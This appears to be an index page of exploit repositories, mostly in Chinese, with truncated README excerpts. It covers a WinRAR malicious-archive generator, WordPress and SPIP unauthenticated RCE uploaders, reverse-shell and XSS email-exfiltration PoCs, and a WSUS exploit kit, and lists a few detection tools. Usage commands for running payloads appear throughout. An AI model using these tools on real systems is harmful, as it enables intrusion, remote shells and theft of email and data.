CVE-2025-8088

CVE-2025-8088 – WinRAR 漏洞利用 此仓库包含一个恶意RAR文件生成器 ，该生成器利用WinRAR中的CVE-2025-8088 漏洞，使得一个看似合法的文件在受害者解压时执行恶意负载。 推荐命令 root@kitploit: python3 exploit7.12.py \ -p payload.exe \ -o exploit.rar \ --username Ojo USUARIO VICTIMA \ --placeholder-len 200 \ --max-up 12 \ --verbose python exploitcli.py --help ⚠️ 警告...

Detect-CVE-2018-20250

检测CVE-2018-20250 此脚本用于检测一个 .rar 文件中是否含有可利用 CVE-2018-20250 的配置。 该检测使用 file 和 strings 命令，这些命令在大多数 Linux 发行版中均有提供。 脚本用法 ./detectwinrarexploit.sh 提取负载 要提取恶意负载，需要 acefile-unace 应用程序，链接如下：https://github.com/droe/acefile 只需使用 pip3 安装 pip3 install acefile...

api_wordlist

apiwordlist A wordlist of API names used for fuzzing web application APIs. Contents apiseeninwild.txt - This contains API function names I've seen in the wild. actions.txt - All API function name verbs objects.txt - All API function name nouns actions-uppercase.txt - API function name verbs with...

CVE-2015-8351

gwollebuster 此脚本用于利用 WordPress 旧版插件 gwolle 的漏洞 使用方法: ./gwollebuster.py 第一个参数 = 安装了 gwolle 的 WordPress 目标 URL 第二个参数 = 你的 IP 第三个参数 = 用于反向 shell 的监听端口 示例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 此脚本将生成 PHP 反向 shell 脚本并绑定简易服务器， 因此你需要在第一个终端打开两个新终端并监听 netcat，然后使用 curl 命令发起请求，...

CVE-2025-30349

Horde IMP 漏洞 – 通过HTML编码混淆 – XSS payload Horde 5.2.23; IMP 6.2.27 漏洞详情在 Details.md 文件中说明。 该 PoC 创建并发送一封包含利用该漏洞的 payload 的电子邮件给收件人。此类邮件需要在 Horde Web 客户端中查看，而非任何其他客户端（如桌面客户端）。...

CVE-2025-52385

CVE-2025-52385 软件 : Studio 3T v.2025.1.0 漏洞报告 : Studio 3T 远程命令执行 概述 Studio 3T 版本 2025.1.0 及更早版本中存在一个严重漏洞，允许远程攻击者通过利用 IntelliShell 组件中的 childprocess 模块构造恶意载荷执行任意代码。 详情 漏洞类型: 远程命令执行 受影响产品: Studio 3T，版本 console.logstdout; 或者，使用以下命令作为验证向量：curl http://site/$id 参考 Studio 3T 官方网站 Studio 3T GitHub 仓库...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Exploit de Ejecución Remota de Comandos RCE Resumen Este exploit apunta a una vulnerabilidad conocida en Adobe ColdFusion 8 CVE-2009-2265. Permite la ejecución remota de comandos RCE mediante la subida de un payload JSP malicioso que establece una conexión de shell inversa...

Text4ShellPayloads

Text4ShellPayloads 该项目包含一个python脚本，利用CVE-2022-42889漏洞生成恶意命令。 该脆弱服务器是按照'Karthik U J'的指导，通过遵循 https://github.com/karthikuj/cve-2022-42889-text4shell-docker 中的步骤搭建的。...

CVE-2024-42009

CVE-2024-42009 PoC：电子邮件捕获监听器与XSS漏洞利用 概述 本概念验证（PoC）演示了针对CVE-2024-42009漏洞的利用方法，利用跨站脚本（XSS）漏洞从目标Webmail应用程序中提取电子邮件。攻击注入恶意载荷，将邮件内容外泄到攻击者控制的监听器。 特性 利用XSS漏洞捕获电子邮件内容。 使用HTTP监听器接收并解码外泄的电子邮件。 自动化载荷注入与外泄过程。 依赖 Python 3.x 所需依赖（通过pip安装）： root@kitploit: pip install requests beautifulsoup4 使用方法 使用必要参数运行脚本：...

SPIP-BigUp-Unauthenticated-RCE-Exploit-CVE-2024-8517

SPIP BigUp 未授权RCE漏洞利用 CVE-2024-8517 描述 此Python脚本利用了SPIP CMS（共享互联网发布系统）中BigUp插件 的一个未授权远程代码执行（RCE） 漏洞。该缺陷存在于 listerfichiersparchamps 函数中，当 bigupretrouverfichiers 参数设置为 1 时，该函数未能正确验证输入。这使得攻击者能够在无需认证 的情况下上传恶意PHP载荷并在服务器上实现任意代码执行。 受影响的SPIP版本： ≤ 4.3.1 ≤ 4.2.15 ≤ 4.1.17 关于此脚本 此版本的利用脚本专为受限实验室环境...

CVE-2022-2992

CVE-2022-2992 通过 GitHub 导入在 GitLab 中实现经过身份验证的远程命令执行。 影响自 11.10 至 15.1.6 之前所有版本、自 15.2 至 15.2.4 之前所有版本、自 15.3 至 15.3.2 之前所有版本的 GitLab CE/EE 漏洞，允许经过身份验证的用户通过“从 GitHub API 导入”端点实现远程代码执行。...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC 使用 java.net.InetAddress 进行检测 root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type:...

CVE-2022-33891

CVE-2022-33891 概念验证 针对CVE-2022-33891的概念验证，支持设置自定义载荷。 默认情况下不易受攻击 -- 需要将 spark.acls.enable 设置为 TRUE。 预期用途 此脚本的使用仅限于被授权在目标主机上运行载荷以进行漏洞修补的人员。运行此脚本前，请确保您已获得授权。 使用 root@kitploit: git clone https://github.com/west-wind/CVE-2022-33891.git python cve-2022-33891.py 开始使用 此POC期望以CSV文件输入所有目标，文件名为 allTargets.c...

CVE-2022-1388

CVE-2022-1388 PoC for CVE-2022-1388 affecting F5 BIG-IP. Usage root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File lis...

poc-cve-xss-encoded-wp-inventory-manager-plugin

更新 - 2023年5月10日 CVE-2023-2123 ID 已保留，PoC 已在 WPScan 网站发布：https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 详细说明 标题：WordPress CMS 的 WP Inventory Manager 插件中未经身份验证的反射型跨站脚本漏洞 日期：2023-04-15 作者：Danilo Albuquerque 供应商主页：https://wordpress.org 软件链接：https://wordpress.org/download...

nxboot

nxboot CLI tool for Nintendo Switch RCM payload launching Fusée Gelée. Uses Zig and libusb. Requirements Zig 0.15.2 Usage 1. Put the console in RCM and connect it to your machine via USB. 2. Run: root@kitploit: zig build -Doptimize=ReleaseSafe run -- /path/to/payload.bin Note: with a Debug build...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 漏洞利用 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 本仓库包含一个针对 CVE-2024-51793 的概念验证利用程序，该漏洞是一个存在漏洞的 WordPress 插件中的未经验证的任意文件上传漏洞，可导致远程命令执行（RCE）。 脚本功能 该脚本滥用一个存在漏洞的 admin-ajax.php 操作，在无需身份验证的情况下上传 PHP 载荷。上传后，它会检测目标操作系统，并提供一个交互式远程 Shell 用于执行命令。...

CVE-2025-48384-main

CVE-2025-48384 的 PoC 这是一个 POC。请勿在不安全的环境中下载它。它会让黑客在你的机器上远程执行代码 参见 CVE-2025-48384 运行： root@kitploit: git clone --recurse-submodules [email protected]:zr0n/CVE-2025-48384-main.git 被执行的 payload 位于此处。...

CVE-2025-24813

CVE-2025-24813 描述 本仓库旨在提供清晰的说明，用于在 Windows Server 2019 Standard 上快速部署 Tomcat v9.0.90 和 java 25.0.1 2025-10-21 LTS，以进行网络安全威胁模拟演练。exploit.py 利用 ysoserial-all.jar 中的 CommonsCollections6 模块生成有效载荷，该载荷随后被 %CATALINAHOME%\webapps\ROOT\WEB-INF\lib 中的 commons-collections-3.2.1.jar 依赖项反序列化。 设置受害者 Windows...

cve-2025-59287

CVE-2025-59287 - WSUS 利用工具包 作者：adel-h4x0a ⚠️ 仅限教育和授权测试用途 ⚠️ 概述 本工具包演示了 CVE-2025-59287 的利用过程，这是 Windows Server Update Services WSUS 中的一个远程代码执行漏洞。 组件 1. 加密模块 cve-2025-59287-encr.py · 用于 WSUS 通信的 AES 载荷加密 · 支持传统和安全两种加密模式 · 自定义载荷生成 2. 利用模块 cve-2025-59287-exp.py · CVE-2025-59287 的完整利用链 · 健壮的错误处理和重试逻辑 ·...